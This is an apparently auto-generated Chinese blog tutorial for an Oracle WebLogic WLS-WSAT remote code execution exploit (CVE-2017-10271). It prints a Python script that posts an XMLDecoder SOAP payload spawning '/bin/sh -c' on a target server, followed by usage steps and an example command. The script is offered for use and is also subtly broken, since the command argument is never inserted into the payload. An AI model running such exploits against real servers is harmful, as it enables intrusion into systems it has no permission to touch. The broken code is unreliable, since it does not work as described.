CVE-2017-10271 项目使用教程

CVE-2017-10271 项目使用教程

CVE-2017-10271Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)项目地址:https://gitcode.com/gh_mirrors/cve/CVE-2017-10271

1. 项目的目录结构及介绍

CVE-2017-10271/
├── README.md
├── exploit.py
└── requirements.txt
  • README.md: 项目说明文件,包含项目的基本信息和使用方法。
  • exploit.py: 项目的主要执行文件,用于执行漏洞利用。
  • requirements.txt: 项目依赖文件,列出了运行该项目所需的Python包。

2. 项目的启动文件介绍

exploit.py

exploit.py 是项目的主要执行文件,用于执行针对 CVE-2017-10271 漏洞的利用。以下是该文件的主要功能和使用方法:

import requests
import sys

def exploit(url, cmd):
    payload = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java version="1.8" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="2">
                <void index="0">
                  <string>/bin/sh</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
              </array>
              <void method="start"/>
            </void>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>"""

    headers = {
        'Content-Type': 'text/xml',
    }

    response = requests.post(url, data=payload, headers=headers)
    print(response.text)

if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target_url> <command>")
        sys.exit(1)

    url = sys.argv[1]
    cmd = sys.argv[2]
    exploit(url, cmd)

使用方法

  1. 安装所需的依赖包:

    pip install -r requirements.txt
    
  2. 运行漏洞利用脚本:

    python exploit.py <target_url> <command>
    

    例如:

    python exploit.py http://example.com/wls-wsat/CoordinatorPortType "ls -la"
    

3. 项目的配置文件介绍

requirements.txt

requirements.txt 文件列出了运行该项目所需的Python包,内容如下:

requests
  • requests: 用于发送HTTP请求的Python库。

通过安装这些依赖包,可以确保 exploit.py 脚本能够正常运行。

pip install -r requirements.txt

以上是 CVE-2017-10271 项目的使用教程,包含了项目的目录结构、启动文件和配置文件的详细介绍。希望这些信息能帮助你更好地理解和使用该项目。

CVE-2017-10271Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)项目地址:https://gitcode.com/gh_mirrors/cve/CVE-2017-10271

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

戚巧琚Ellen

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值